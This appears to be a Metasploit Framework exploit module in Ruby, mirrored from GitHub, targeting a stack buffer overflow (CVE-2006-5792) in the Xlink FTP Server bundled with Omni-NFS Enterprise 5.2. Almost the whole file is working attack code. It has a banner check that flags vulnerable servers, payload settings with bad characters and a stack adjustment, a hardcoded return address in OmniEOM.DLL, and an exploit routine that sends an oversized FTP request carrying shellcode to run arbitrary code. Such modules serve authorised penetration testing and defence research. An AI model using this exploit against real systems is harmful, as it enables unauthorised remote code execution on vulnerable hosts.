mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-11-12 11:52:01 +01:00
87 lines
2.0 KiB
Ruby
87 lines
2.0 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/projects/Framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::Remote::Ftp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Xlink FTP Server Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in Xlink FTP Server
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that comes bundled with Omni-NFS Enterprise 5.2.
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When a overly long FTP request is sent to the server,
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arbitrary code may be executed.
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},
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'Author' => [ 'MC' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2006-5792' ],
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[ 'OSVDB', '58646' ],
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[ 'URL', 'http://www.metasploit.com/' ],
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[ 'URL', 'http://www.xlink.com' ],
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],
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'Privileged' => true,
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Payload' =>
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{
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'Space' => 260,
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'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
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'StackAdjustment' => -3500,
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'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Omni-NFS Enterprise V5.2', { 'Ret' => 0x1001f09c } ], # OmniEOM.DLL 1.0.0.1
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],
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'DisclosureDate' => 'Oct 3 2009',
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'DefaultTarget' => 0))
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deregister_options('FTPUSER', 'FTPPASS')
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end
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def check
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connect
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disconnect
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if (banner =~ /XLINK FTP Server/)
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return Exploit::CheckCode::Vulnerable
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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connect
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sploit = payload.encoded + [target.ret].pack('V')
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sploit << rand_text_alpha_upper(2024 - payload.encoded.length) + "\r\n"
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print_status("Trying target #{target.name}...")
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sock.put(sploit)
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handler
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disconnect
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end
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end
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